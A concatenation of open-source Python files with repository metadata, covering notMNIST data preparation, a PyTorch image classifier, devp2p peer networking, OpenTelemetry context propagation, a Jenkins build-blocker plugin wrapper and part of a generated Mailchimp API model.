print('Unable to process data from', pickle_file, ':', e) raise return valid_dataset, valid_labels, train_dataset, train_labels def get_dataset_filenames(): train_filename = maybe_download(NOT_MNIST_FILENAME_LARGE, 247336696) test_filename = maybe_download(NOT_MNIST_FILENAME_SMALL, 8458043) train_folders = maybe_extract(train_filename) test_folders = maybe_extract(test_filename) train_datasets = maybe_pickle( train_folders, MINIMUM_TRAIN_SAMPLES_PER_CLASS) test_datasets = maybe_pickle(test_folders, MINIMUM_TEST_SAMPLES_PER_CLASS) return train_datasets, test_datasets def randomize(dataset, labels): permutation = np.random.permutation(labels.shape[0]) shuffled_dataset = dataset[permutation, :, :] shuffled_labels = labels[permutation] return shuffled_dataset, shuffled_labels def main(train_size, valid_size, test_size, filename): train_datasets, test_datasets = get_dataset_filenames() valid_dataset, valid_labels, train_dataset, train_labels = merge_datasets( train_datasets, train_size, valid_size) _, _, test_dataset, test_labels = merge_datasets(test_datasets, test_size) print('Training:', train_dataset.shape, train_labels.shape) print('Validation:', valid_dataset.shape, valid_labels.shape) print('Testing:', test_dataset.shape, test_labels.shape) train_dataset, train_labels = randomize(train_dataset, train_labels) test_dataset, test_labels = randomize(test_dataset, test_labels) valid_dataset, valid_labels = randomize(valid_dataset, valid_labels) pickle_file = os.path.join(NOT_MNIST_PICKLES_DIR, filename) try: f = open(pickle_file, 'wb') save = { 'train_dataset': train_dataset, 'train_labels': train_labels, 'valid_dataset': valid_dataset, 'valid_labels': valid_labels, 'test_dataset': test_dataset, 'test_labels': test_labels, } pickle.dump(save, f, pickle.HIGHEST_PROTOCOL) f.close() except Exception as e: print('Unable to save data to', pickle_file, ':', e) raise if __name__ == '__main__': # Large main(TRAINING_SIZE, VALIDATION_SIZE, TEST_SIZE, FINAL_DATASET_FILENAME) # Small main(TRAINING_SIZE_SMALL, VALIDATION_SIZE_SMALL, TEST_SIZE_SMALL, FINAL_DATASET_FILENAME_SMALL)

6,077

0

184

b6e2e662897fd5cdcc07c0f014fc63ad8afe8445

69

py

Python

pyex_pkg/pyex_pkg/module2.py

uiuc-bioinf-club/cheetSheets

537f85debfb3d98cd718963721b87a255913161b

[ "MIT" ]

null

pyex_pkg/pyex_pkg/module2.py

uiuc-bioinf-club/cheetSheets

537f85debfb3d98cd718963721b87a255913161b

[ "MIT" ]

null

pyex_pkg/pyex_pkg/module2.py

uiuc-bioinf-club/cheetSheets

537f85debfb3d98cd718963721b87a255913161b

[ "MIT" ]

2

2019-02-18T23:18:31.000Z

2021-07-21T19:23:58.000Z

from module1 import func1 print("imported module2") print(func1(2))

13.8

25

0.768116

from module1 import func1 print("imported module2") print(func1(2))

0

249ce9f8a32de5d0f4e4b2826835c85645008e06

3,910

py

Python

predict.py

johirbuet/Image-Classifier

9cfd78696940ebc40725f15d18133d0db6102035

[ "MIT" ]

null

predict.py

johirbuet/Image-Classifier

9cfd78696940ebc40725f15d18133d0db6102035

[ "MIT" ]

null

predict.py

johirbuet/Image-Classifier

9cfd78696940ebc40725f15d18133d0db6102035

[ "MIT" ]

null

import argparse import json import torch from torch import nn from torch.autograd import Variable from torchvision import models from collections import OrderedDict from PIL import Image import numpy as np import numbers if __name__ == "__main__": main()

31.28

87

0.61509

import argparse import json import torch from torch import nn from torch.autograd import Variable from torchvision import models from collections import OrderedDict from PIL import Image import numpy as np import numbers def load_checkpoint(path): checkpoint = torch.load(path) arch = checkpoint['arch'] hidden_units = checkpoint['hidden_units'] if arch == "vgg13": model = models.vgg13() else: model = models.densenet121() if isinstance(hidden_units, numbers.Integral): classifier = nn.Sequential(OrderedDict( [ ('fc1', nn.Linear(1024, hidden_units)), ('relu', nn.ReLU()), ('fc2', nn.Linear(hidden_units, 102)), ('output', nn.LogSoftmax(dim=1)) ])) model.classifier = classifier else: d = OrderedDict() layers = [] i = 1 prev = 1024 for j in range(0,len(hidden_units) -1): hi = hidden_units[j] layers.append(('fc'+i, nn.Linear(prev, hi))) layers.append(('relu'+i, nn.ReLU())) prev = hi i = i + 1 layers.append(('fc'+i, nn.Linear(prev, hidden_units[len(hidden_units) - 1]))) layers.append(('output', nn.LogSoftmax(dim=1))) classifier = nn.Sequential(OrderedDict(layers)) model.classifier = classifier model.load_state_dict(checkpoint['state_dict']) class_to_idx = checkpoint['class_to_idx'] idx_to_class = {i: k for k, i in class_to_idx.items()} return model, class_to_idx, idx_to_class def process_image(image): size = 256, 256 image.thumbnail(size, Image.ANTIALIAS) image = image.crop(( size[0] // 2 - (224 / 2), size[1] // 2 - (224 / 2), size[0] // 2 + (224 / 2), size[1] // 2 + (224 / 2)) ) np_image = np.array(image) / 255 np_image[:, :, 0] = (np_image[:, :, 0] - 0.485) / (0.229) np_image[:, :, 1] = (np_image[:, :, 1] - 0.456) / (0.224) np_image[:, :, 2] = (np_image[:, :, 2] - 0.406) / (0.225) np_image = np.transpose(np_image, (2, 0, 1)) return np_image def predict(image_path, model, idx_to_class, cat_to_name, topk, gpu): if gpu and torch.cuda.is_available(): model.cuda() image = process_image(Image.open(image_path)) image = torch.FloatTensor([image]) model.eval() if gpu and torch.cuda.is_available(): inputs = Variable(image.cuda()) else: inputs = Variable(image) output = model.forward(inputs) ps = torch.exp(output).data.cpu().numpy()[0] topk_index = np.argsort(ps)[-topk:][::-1] topk_class = [idx_to_class[x] for x in topk_index] named_topk_class = [cat_to_name[x] for x in topk_class] topk_prob = ps[topk_index] return topk_prob, named_topk_class def label_mapping(cat_to_name): with open(cat_to_name, 'r') as f: return json.load(f) def main(): parser = argparse.ArgumentParser(description='Predict flower types') parser.add_argument('--gpu', action='store_true', help='Using GPU or not') parser.add_argument('input', type=str, help='Path to image that will be predicted') parser.add_argument('checkpoint', type=str, help='Path to training checkpoint') parser.add_argument('--category_names', type=str, default='cat_to_name.json', help='Path to category to flower name mapping json') parser.add_argument('--topk', type=int, default=5, help='Top k probabilities') args = parser.parse_args() cat_to_name = label_mapping(args.category_names) model, class_to_idx, idx_to_class = load_checkpoint(args.checkpoint) topk_prob, named_topk_class = predict(args.input, model, idx_to_class, cat_to_name, args.topk, args.gpu) print(dict(zip(named_topk_class, topk_prob))) if __name__ == "__main__": main()

3,530

0

115

32ae876b42b6bb362bf46f31ffcb82c4faec760d

10,325

py

Python

devp2p/peer.py

vaporyproject/pydevp2p

084d58bd98e1573ccce82fbb766ff06fb6831fe4

[ "MIT" ]

null

devp2p/peer.py

vaporyproject/pydevp2p

084d58bd98e1573ccce82fbb766ff06fb6831fe4

[ "MIT" ]

null

devp2p/peer.py

vaporyproject/pydevp2p

084d58bd98e1573ccce82fbb766ff06fb6831fe4

[ "MIT" ]

null

import time import gevent import operator from collections import OrderedDict from protocol import BaseProtocol from p2p_protocol import P2PProtocol from service import WiredService import multiplexer from muxsession import MultiplexedSession from crypto import ECIESDecryptionError import slogging import gevent.socket import rlpxcipher log = slogging.get_logger('p2p.peer') class UnknownCommandError(Exception): "raised if we recive an unknown command for a known protocol" pass

39.408397

99

0.613462

import time import gevent import operator from collections import OrderedDict from protocol import BaseProtocol from p2p_protocol import P2PProtocol from service import WiredService import multiplexer from muxsession import MultiplexedSession from crypto import ECIESDecryptionError import slogging import gevent.socket import rlpxcipher log = slogging.get_logger('p2p.peer') class UnknownCommandError(Exception): "raised if we recive an unknown command for a known protocol" pass class Peer(gevent.Greenlet): remote_client_version = '' wait_read_timeout = 0.001 def __init__(self, peermanager, connection, remote_pubkey=None): # FIXME node vs remote_pubkey super(Peer, self).__init__() self.is_stopped = False self.peermanager = peermanager self.connection = connection self.config = peermanager.config self.protocols = OrderedDict() log.debug('peer init', peer=self) # create multiplexed encrypted session privkey = self.config['node']['privkey_hex'].decode('hex') hello_packet = P2PProtocol.get_hello_packet(self) self.mux = MultiplexedSession(privkey, hello_packet, token_by_pubkey=dict(), remote_pubkey=remote_pubkey) # register p2p protocol assert issubclass(self.peermanager.wire_protocol, P2PProtocol) self.connect_service(self.peermanager) # assure, we don't get messages while replies are not read self.safe_to_read = gevent.event.Event() self.safe_to_read.set() @property def remote_pubkey(self): "if peer is responder, then the remote_pubkey will not be available" "before the first packet is received" return self.mux.remote_pubkey def __repr__(self): try: pn = self.connection.getpeername() except gevent.socket.error: pn = ('not ready',) try: cv = '/'.join(self.remote_client_version.split('/')[:2]) except: cv = self.remote_client_version return '<Peer%r %s>' % (pn, cv) # return '<Peer%r>' % repr(pn) def report_error(self, reason): try: ip_port = self.ip_port except: ip_port = 'ip_port not available fixme' self.peermanager.errors.add(ip_port, reason, self.remote_client_version) @property def ip_port(self): try: return self.connection.getpeername() except Exception as e: log.debug('ip_port failed') raise e def connect_service(self, service): assert isinstance(service, WiredService) protocol_class = service.wire_protocol assert issubclass(protocol_class, BaseProtocol) # create protcol instance which connects peer with serivce protocol = protocol_class(self, service) # register protocol assert protocol_class not in self.protocols log.debug('registering protocol', protocol=protocol.name, peer=self) self.protocols[protocol_class] = protocol self.mux.add_protocol(protocol.protocol_id) protocol.start() def has_protocol(self, protocol): assert issubclass(protocol, BaseProtocol) return protocol in self.protocols def receive_hello(self, proto, version, client_version, capabilities, listen_port, nodeid): # register in common protocols log.info('received hello', version=version, client_version=client_version, capabilities=capabilities) self.remote_client_version = client_version # call peermanager agree = self.peermanager.on_hello_received( proto, version, client_version, capabilities, listen_port, nodeid) if not agree: return log.debug('connecting services', services=self.peermanager.wired_services) remote_services = dict((name, version) for name, version in capabilities) for service in sorted(self.peermanager.wired_services, key=operator.attrgetter('name')): proto = service.wire_protocol assert isinstance(service, WiredService) if proto.name in remote_services: if remote_services[proto.name] == proto.version: if service != self.peermanager: # p2p protcol already registered self.connect_service(service) else: log.debug('wrong version', service=proto.name, local_version=proto.version, remote_version=remote_services[proto.name]) self.report_error('wrong version') @property def capabilities(self): return [(s.wire_protocol.name, s.wire_protocol.version) for s in self.peermanager.wired_services] # sending p2p messages def send_packet(self, packet): # rewrite cmd id / future FIXME to packet.protocol_id for i, protocol in enumerate(self.protocols.values()): if packet.protocol_id == protocol.protocol_id: break assert packet.protocol_id == protocol.protocol_id, 'no protocol found' log.debug('send packet', cmd=protocol.cmd_by_id[packet.cmd_id], protcol=protocol.name, peer=self) # rewrite cmd_id # FIXME for i, protocol in enumerate(self.protocols.values()): if packet.protocol_id > i: packet.cmd_id += (0 if protocol.max_cmd_id == 0 else protocol.max_cmd_id + 1) if packet.protocol_id == protocol.protocol_id: break packet.protocol_id = 0 # done rewrite self.mux.add_packet(packet) # receiving p2p messages def protocol_cmd_id_from_packet(self, packet): # packet.protocol_id not yet used. old adaptive cmd_ids instead # future FIXME to packet.protocol_id # get protocol and protocol.cmd_id from packet.cmd_id max_id = 0 assert packet.protocol_id == 0 # FIXME, should be used by other peers for protocol in self.protocols.values(): if packet.cmd_id < max_id + protocol.max_cmd_id + 1: return protocol, packet.cmd_id - (0 if max_id == 0 else max_id + 1) max_id += protocol.max_cmd_id raise UnknownCommandError('no protocol for id %s' % packet.cmd_id) def _handle_packet(self, packet): assert isinstance(packet, multiplexer.Packet) try: protocol, cmd_id = self.protocol_cmd_id_from_packet(packet) except UnknownCommandError, e: log.error('received unknown cmd', error=e, packet=packet) return log.debug('recv packet', cmd=protocol.cmd_by_id[ cmd_id], protocol=protocol.name, orig_cmd_id=packet.cmd_id) packet.cmd_id = cmd_id # rewrite protocol.receive_packet(packet) def send(self, data): if not data: return self.safe_to_read.clear() # make sure we don't accept any data until message is sent try: self.connection.sendall(data) # check if gevent chunkes and switches contexts log.debug('wrote data', size=len(data), ts=time.time()) except gevent.socket.error as e: log.debug('write error', errno=e.errno, reason=e.strerror) self.report_error('write error %r' % e.strerror) self.stop() except gevent.socket.timeout: log.debug('write timeout') self.report_error('write timeout') self.stop() self.safe_to_read.set() def _run_egress_message(self): while not self.is_stopped: self.send(self.mux.message_queue.get()) def _run_decoded_packets(self): # handle decoded packets while not self.is_stopped: self._handle_packet(self.mux.packet_queue.get()) # get_packet blocks def _run_ingress_message(self): log.debug('peer starting main loop') assert not self.connection.closed, "connection is closed" gevent.spawn(self._run_decoded_packets) gevent.spawn(self._run_egress_message) while not self.is_stopped: self.safe_to_read.wait() try: gevent.socket.wait_read(self.connection.fileno()) except gevent.socket.error as e: log.debug('read error', errno=e.errno, reason=e.strerror, peer=self) self.report_error('network error %s' % e.strerror) if e.errno in(9,): # ('Bad file descriptor') self.stop() else: raise e break try: imsg = self.connection.recv(4096) except gevent.socket.error as e: log.debug('read error', errno=e.errno, reason=e.strerror, peer=self) self.report_error('network error %s' % e.strerror) if e.errno in(50, 54, 60, 65): # (Network down, Connection reset by peer, timeout, nor route to host) self.stop() else: raise e break if imsg: log.debug('read message', ts=time.time(), size=len(imsg)) try: self.mux.add_message(imsg) except (rlpxcipher.RLPxSessionError, ECIESDecryptionError) as e: log.debug('rlpx session error', peer=self, error=e) self.report_error('rlpx session error') self.stop() except multiplexer.MultiplexerError as e: log.debug('multiplexer error', peer=self, error=e) self.report_error('multiplexer error') self.stop() else: log.debug('no data on socket', peer=self) self.report_error('no data on socket') self.stop() _run = _run_ingress_message def stop(self): if not self.is_stopped: self.is_stopped = True log.debug('stopped', peer=self) for p in self.protocols.values(): p.stop() self.peermanager.peers.remove(self) self.kill()

8,985

825

23

6050b5f4ff89903ef691871454833dc5d07ce689

5,340

py

Python

opentelemetry-api/src/opentelemetry/propagate/__init__.py

toumorokoshi/opentelemetry-python

03c6b7391d16236ad5d4e48b0cb0bff786c2e583

[ "Apache-2.0" ]

1

2021-02-26T02:37:54.000Z

opentelemetry-api/src/opentelemetry/propagate/__init__.py

jini-lee/opentelemetry-python

99128b35d1a9cf2ecb04097c6a87d320a552a3e4

[ "Apache-2.0" ]

1

2020-11-18T17:44:08.000Z

2020-11-18T17:46:17.000Z

opentelemetry-api/src/opentelemetry/propagate/__init__.py

jini-lee/opentelemetry-python

99128b35d1a9cf2ecb04097c6a87d320a552a3e4

[ "Apache-2.0" ]

null

# Copyright The OpenTelemetry Authors # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """ API for propagation of context. The propagators for the ``opentelemetry.propagators.composite.CompositeHTTPPropagator`` can be defined via configuration in the ``OTEL_PROPAGATORS`` environment variable. This variable should be set to a comma-separated string of names of values for the ``opentelemetry_propagator`` entry point. For example, setting ``OTEL_PROPAGATORS`` to ``tracecontext,baggage`` (which is the default value) would instantiate ``opentelemetry.propagators.composite.CompositeHTTPPropagator`` with 2 propagators, one of type ``opentelemetry.trace.propagation.tracecontext.TraceContextTextMapPropagator`` and other of type ``opentelemetry.baggage.propagation.BaggagePropagator``. Notice that these propagator classes are defined as ``opentelemetry_propagator`` entry points in the ``setup.cfg`` file of ``opentelemetry``. Example:: import flask import requests from opentelemetry import propagators PROPAGATOR = propagators.get_global_textmap() def get_header_from_flask_request(request, key): return request.headers.get_all(key) def set_header_into_requests_request(request: requests.Request, key: str, value: str): request.headers[key] = value def example_route(): context = PROPAGATOR.extract( get_header_from_flask_request, flask.request ) request_to_downstream = requests.Request( "GET", "http://httpbin.org/get" ) PROPAGATOR.inject( set_header_into_requests_request, request_to_downstream, context=context ) session = requests.Session() session.send(request_to_downstream.prepare()) .. _Propagation API Specification: https://github.com/open-telemetry/opentelemetry-specification/blob/main/specification/context/api-propagators.md """ import typing from logging import getLogger from os import environ from pkg_resources import iter_entry_points from opentelemetry.context.context import Context from opentelemetry.environment_variables import OTEL_PROPAGATORS from opentelemetry.propagators import composite from opentelemetry.trace.propagation import textmap logger = getLogger(__name__) def extract( getter: textmap.Getter[textmap.TextMapPropagatorT], carrier: textmap.TextMapPropagatorT, context: typing.Optional[Context] = None, ) -> Context: """Uses the configured propagator to extract a Context from the carrier. Args: getter: an object which contains a get function that can retrieve zero or more values from the carrier and a keys function that can get all the keys from carrier. carrier: and object which contains values that are used to construct a Context. This object must be paired with an appropriate getter which understands how to extract a value from it. context: an optional Context to use. Defaults to current context if not set. """ return get_global_textmap().extract(getter, carrier, context) def inject( set_in_carrier: textmap.Setter[textmap.TextMapPropagatorT], carrier: textmap.TextMapPropagatorT, context: typing.Optional[Context] = None, ) -> None: """Uses the configured propagator to inject a Context into the carrier. Args: set_in_carrier: A setter function that can set values on the carrier. carrier: An object that contains a representation of HTTP headers. Should be paired with set_in_carrier, which should know how to set header values on the carrier. context: an optional Context to use. Defaults to current context if not set. """ get_global_textmap().inject(set_in_carrier, carrier, context) try: propagators = [] # Single use variable here to hack black and make lint pass environ_propagators = environ.get( OTEL_PROPAGATORS, "tracecontext,baggage", ) for propagator in environ_propagators.split(","): propagators.append( # type: ignore next( # type: ignore iter_entry_points("opentelemetry_propagator", propagator) ).load()() ) except Exception: # pylint: disable=broad-except logger.exception("Failed to load configured propagators") raise _HTTP_TEXT_FORMAT = composite.CompositeHTTPPropagator(propagators) # type: ignore

34.451613

116

0.720412

# Copyright The OpenTelemetry Authors # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """ API for propagation of context. The propagators for the ``opentelemetry.propagators.composite.CompositeHTTPPropagator`` can be defined via configuration in the ``OTEL_PROPAGATORS`` environment variable. This variable should be set to a comma-separated string of names of values for the ``opentelemetry_propagator`` entry point. For example, setting ``OTEL_PROPAGATORS`` to ``tracecontext,baggage`` (which is the default value) would instantiate ``opentelemetry.propagators.composite.CompositeHTTPPropagator`` with 2 propagators, one of type ``opentelemetry.trace.propagation.tracecontext.TraceContextTextMapPropagator`` and other of type ``opentelemetry.baggage.propagation.BaggagePropagator``. Notice that these propagator classes are defined as ``opentelemetry_propagator`` entry points in the ``setup.cfg`` file of ``opentelemetry``. Example:: import flask import requests from opentelemetry import propagators PROPAGATOR = propagators.get_global_textmap() def get_header_from_flask_request(request, key): return request.headers.get_all(key) def set_header_into_requests_request(request: requests.Request, key: str, value: str): request.headers[key] = value def example_route(): context = PROPAGATOR.extract( get_header_from_flask_request, flask.request ) request_to_downstream = requests.Request( "GET", "http://httpbin.org/get" ) PROPAGATOR.inject( set_header_into_requests_request, request_to_downstream, context=context ) session = requests.Session() session.send(request_to_downstream.prepare()) .. _Propagation API Specification: https://github.com/open-telemetry/opentelemetry-specification/blob/main/specification/context/api-propagators.md """ import typing from logging import getLogger from os import environ from pkg_resources import iter_entry_points from opentelemetry.context.context import Context from opentelemetry.environment_variables import OTEL_PROPAGATORS from opentelemetry.propagators import composite from opentelemetry.trace.propagation import textmap logger = getLogger(__name__) def extract( getter: textmap.Getter[textmap.TextMapPropagatorT], carrier: textmap.TextMapPropagatorT, context: typing.Optional[Context] = None, ) -> Context: """Uses the configured propagator to extract a Context from the carrier. Args: getter: an object which contains a get function that can retrieve zero or more values from the carrier and a keys function that can get all the keys from carrier. carrier: and object which contains values that are used to construct a Context. This object must be paired with an appropriate getter which understands how to extract a value from it. context: an optional Context to use. Defaults to current context if not set. """ return get_global_textmap().extract(getter, carrier, context) def inject( set_in_carrier: textmap.Setter[textmap.TextMapPropagatorT], carrier: textmap.TextMapPropagatorT, context: typing.Optional[Context] = None, ) -> None: """Uses the configured propagator to inject a Context into the carrier. Args: set_in_carrier: A setter function that can set values on the carrier. carrier: An object that contains a representation of HTTP headers. Should be paired with set_in_carrier, which should know how to set header values on the carrier. context: an optional Context to use. Defaults to current context if not set. """ get_global_textmap().inject(set_in_carrier, carrier, context) try: propagators = [] # Single use variable here to hack black and make lint pass environ_propagators = environ.get( OTEL_PROPAGATORS, "tracecontext,baggage", ) for propagator in environ_propagators.split(","): propagators.append( # type: ignore next( # type: ignore iter_entry_points("opentelemetry_propagator", propagator) ).load()() ) except Exception: # pylint: disable=broad-except logger.exception("Failed to load configured propagators") raise _HTTP_TEXT_FORMAT = composite.CompositeHTTPPropagator(propagators) # type: ignore def get_global_textmap() -> textmap.TextMapPropagator: return _HTTP_TEXT_FORMAT def set_global_textmap(http_text_format: textmap.TextMapPropagator,) -> None: global _HTTP_TEXT_FORMAT # pylint:disable=global-statement _HTTP_TEXT_FORMAT = http_text_format # type: ignore

239

0

46

1043a523f50f48d4196a7df72c983eb7845b8ba5

4,272

py

Python

src/pyjen/plugins/buildblocker.py

TheFriendlyCoder/pyjen

a3d7e8f69cb53f80f627300f8d3aa0d4302a5ac1

[ "Apache-2.0" ]

5

2017-12-14T13:39:04.000Z

2020-07-06T09:46:02.000Z

src/pyjen/plugins/buildblocker.py

TheFriendlyCoder/pyjen

a3d7e8f69cb53f80f627300f8d3aa0d4302a5ac1

[ "Apache-2.0" ]

119

2016-09-13T01:39:31.000Z

2020-08-31T03:06:19.000Z

src/pyjen/plugins/buildblocker.py

TheFriendlyCoder/pyjen

a3d7e8f69cb53f80f627300f8d3aa0d4302a5ac1

[ "Apache-2.0" ]

3

2015-03-17T18:49:22.000Z

2019-07-03T14:10:27.000Z

"""Interfaces for interacting with Build Blockers job property plugin""" import xml.etree.ElementTree as ElementTree from pyjen.utils.xml_plugin import XMLPlugin class BuildBlockerProperty(XMLPlugin): """Wrapper for Build Blocker job properties https://wiki.jenkins-ci.org/display/JENKINS/Build+Blocker+Plugin """ QUEUE_SCAN_TYPES = ("DISABLED", "ALL", "BUILDABLE") LEVEL_TYPES = ("GLOBAL", "NODE") @property def queue_scan(self): """str: checks to see whether build blocking scans the build queue or not. One of BuildBlockerProperty.QUEUE_SCAN_TYPES. """ retval = self._root.find("scanQueueFor").text assert retval in BuildBlockerProperty.QUEUE_SCAN_TYPES return retval @queue_scan.setter @property def level(self): """str: the scope of the blocked job settings. One of BuildBlockerProperty.LEVEL_TYPES""" retval = self._root.find("blockLevel").text assert retval in BuildBlockerProperty.LEVEL_TYPES return retval @level.setter @property def blockers(self): """list (str): list of search criteria for blocking jobs""" temp = self._root.find("blockingJobs").text return temp.split() @blockers.setter @property def is_enabled(self): """bool: True if these blocking jobs are enabled, False if not""" temp = self._root.find("useBuildBlocker").text return temp.lower() == "true" def enable(self): """Enables this set of build blockers""" node = self._root.find("useBuildBlocker") node.text = "true" self.update() def disable(self): """Disables this set of build blockers""" node = self._root.find("useBuildBlocker") node.text = "false" self.update() # --------------------------------------------------------------- PLUGIN API @staticmethod def get_jenkins_plugin_name(): """str: the name of the Jenkins plugin associated with this PyJen plugin This static method is used by the PyJen plugin API to associate this class with a specific Jenkins plugin, as it is encoded in the config.xml """ return "hudson.plugins.buildblocker.BuildBlockerProperty" @classmethod def instantiate(cls, patterns): """Factory method used to instantiate an instance of this plugin Args: patterns (list, str): One or more names or regular expressions for jobs that block the execution of this one. Returns: BuildBlockerProperty: reference to the newly instantiated object """ default_xml = """ <hudson.plugins.buildblocker.BuildBlockerProperty> <useBuildBlocker>true</useBuildBlocker> <blockLevel>GLOBAL</blockLevel> <scanQueueFor>DISABLED</scanQueueFor> </hudson.plugins.buildblocker.BuildBlockerProperty>""" root_node = ElementTree.fromstring(default_xml) jobs_node = ElementTree.SubElement(root_node, "blockingJobs") if isinstance(patterns, str): jobs_node.text = patterns else: jobs_node.text = " ".join(patterns) return cls(root_node) PluginClass = BuildBlockerProperty if __name__ == "__main__": # pragma: no cover pass

33.904762

80

0.630852

"""Interfaces for interacting with Build Blockers job property plugin""" import xml.etree.ElementTree as ElementTree from pyjen.utils.xml_plugin import XMLPlugin class BuildBlockerProperty(XMLPlugin): """Wrapper for Build Blocker job properties https://wiki.jenkins-ci.org/display/JENKINS/Build+Blocker+Plugin """ QUEUE_SCAN_TYPES = ("DISABLED", "ALL", "BUILDABLE") LEVEL_TYPES = ("GLOBAL", "NODE") @property def queue_scan(self): """str: checks to see whether build blocking scans the build queue or not. One of BuildBlockerProperty.QUEUE_SCAN_TYPES. """ retval = self._root.find("scanQueueFor").text assert retval in BuildBlockerProperty.QUEUE_SCAN_TYPES return retval @queue_scan.setter def queue_scan(self, value): if value not in BuildBlockerProperty.QUEUE_SCAN_TYPES: raise ValueError( "Build blocker queue scan may only be one of the following " "types: " + ",".join(BuildBlockerProperty.QUEUE_SCAN_TYPES)) self._root.find("scanQueueFor").text = value self.update() @property def level(self): """str: the scope of the blocked job settings. One of BuildBlockerProperty.LEVEL_TYPES""" retval = self._root.find("blockLevel").text assert retval in BuildBlockerProperty.LEVEL_TYPES return retval @level.setter def level(self, value): if value not in BuildBlockerProperty.LEVEL_TYPES: raise ValueError( "Build blocker scope level may only be one of the following " "types: " + ",".join(BuildBlockerProperty.LEVEL_TYPES)) self._root.find("blockLevel").text = value self.update() @property def blockers(self): """list (str): list of search criteria for blocking jobs""" temp = self._root.find("blockingJobs").text return temp.split() @blockers.setter def blockers(self, patterns): node = self._root.find("blockingJobs") if isinstance(patterns, str): node.text = patterns else: node.text = "\n".join(patterns) self.update() @property def is_enabled(self): """bool: True if these blocking jobs are enabled, False if not""" temp = self._root.find("useBuildBlocker").text return temp.lower() == "true" def enable(self): """Enables this set of build blockers""" node = self._root.find("useBuildBlocker") node.text = "true" self.update() def disable(self): """Disables this set of build blockers""" node = self._root.find("useBuildBlocker") node.text = "false" self.update() # --------------------------------------------------------------- PLUGIN API @staticmethod def get_jenkins_plugin_name(): """str: the name of the Jenkins plugin associated with this PyJen plugin This static method is used by the PyJen plugin API to associate this class with a specific Jenkins plugin, as it is encoded in the config.xml """ return "hudson.plugins.buildblocker.BuildBlockerProperty" @classmethod def instantiate(cls, patterns): """Factory method used to instantiate an instance of this plugin Args: patterns (list, str): One or more names or regular expressions for jobs that block the execution of this one. Returns: BuildBlockerProperty: reference to the newly instantiated object """ default_xml = """ <hudson.plugins.buildblocker.BuildBlockerProperty> <useBuildBlocker>true</useBuildBlocker> <blockLevel>GLOBAL</blockLevel> <scanQueueFor>DISABLED</scanQueueFor> </hudson.plugins.buildblocker.BuildBlockerProperty>""" root_node = ElementTree.fromstring(default_xml) jobs_node = ElementTree.SubElement(root_node, "blockingJobs") if isinstance(patterns, str): jobs_node.text = patterns else: jobs_node.text = " ".join(patterns) return cls(root_node) PluginClass = BuildBlockerProperty if __name__ == "__main__": # pragma: no cover pass

848

0

78

57f9052e1cbafb791fa47203f832f9c3230b7a65

22,764

py

Python

mailchimp_marketing_asyncio/models/campaign.py

john-parton/mailchimp-asyncio

3865ca0867bec8f537dc1e3256aa3a160c00f8a2

[ "Apache-2.0" ]

null

mailchimp_marketing_asyncio/models/campaign.py

john-parton/mailchimp-asyncio

3865ca0867bec8f537dc1e3256aa3a160c00f8a2

[ "Apache-2.0" ]

null

mailchimp_marketing_asyncio/models/campaign.py

john-parton/mailchimp-asyncio

3865ca0867bec8f537dc1e3256aa3a160c00f8a2

[ "Apache-2.0" ]

1

2022-03-09T14:52:22.000Z

# coding: utf-8 """ Mailchimp Marketing API No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) # noqa: E501 OpenAPI spec version: 3.0.74 Contact: apihelp@mailchimp.com Generated by: https://github.com/swagger-api/swagger-codegen.git """ import pprint import re # noqa: F401 import six class Campaign(object): """NOTE: This class is auto generated by the swagger code generator program. Do not edit the class manually. """ """ Attributes: swagger_types (dict): The key is attribute name and the value is attribute type. attribute_map (dict): The key is attribute name and the value is json key in definition. """ swagger_types = { 'id': 'str', 'web_id': 'int', 'parent_campaign_id': 'str', 'type': 'str', 'create_time': 'datetime', 'archive_url': 'str', 'long_archive_url': 'str', 'status': 'str', 'emails_sent': 'int', 'send_time': 'datetime', 'content_type': 'str', 'needs_block_refresh': 'bool', 'resendable': 'bool', 'recipients': 'List3', 'settings': 'CampaignSettings2', 'variate_settings': 'ABTestOptions', 'tracking': 'CampaignTrackingOptions1', 'rss_opts': 'RSSOptions', 'ab_split_opts': 'ABTestingOptions', 'social_card': 'CampaignSocialCard', 'report_summary': 'CampaignReportSummary2', 'delivery_status': 'CampaignDeliveryStatus', 'links': 'list[ResourceLink]' } attribute_map = { 'id': 'id', 'web_id': 'web_id', 'parent_campaign_id': 'parent_campaign_id', 'type': 'type', 'create_time': 'create_time', 'archive_url': 'archive_url', 'long_archive_url': 'long_archive_url', 'status': 'status', 'emails_sent': 'emails_sent', 'send_time': 'send_time', 'content_type': 'content_type', 'needs_block_refresh': 'needs_block_refresh', 'resendable': 'resendable', 'recipients': 'recipients', 'settings': 'settings', 'variate_settings': 'variate_settings', 'tracking': 'tracking', 'rss_opts': 'rss_opts', 'ab_split_opts': 'ab_split_opts', 'social_card': 'social_card', 'report_summary': 'report_summary', 'delivery_status': 'delivery_status', 'links': '_links' } def __init__(self, id=None, web_id=None, parent_campaign_id=None, type=None, create_time=None, archive_url=None, long_archive_url=None, status=None, emails_sent=None, send_time=None, content_type=None, needs_block_refresh=None, resendable=None, recipients=None, settings=None, variate_settings=None, tracking=None, rss_opts=None, ab_split_opts=None, social_card=None, report_summary=None, delivery_status=None, links=None): # noqa: E501 """Campaign - a model defined in Swagger""" # noqa: E501 self._id = None self._web_id = None self._parent_campaign_id = None self._type = None self._create_time = None self._archive_url = None self._long_archive_url = None self._status = None self._emails_sent = None self._send_time = None self._content_type = None self._needs_block_refresh = None self._resendable = None self._recipients = None self._settings = None self._variate_settings = None self._tracking = None self._rss_opts = None self._ab_split_opts = None self._social_card = None self._report_summary = None self._delivery_status = None self._links = None self.discriminator = None if id is not None: self.id = id if web_id is not None: self.web_id = web_id if parent_campaign_id is not None: self.parent_campaign_id = parent_campaign_id if type is not None: self.type = type if create_time is 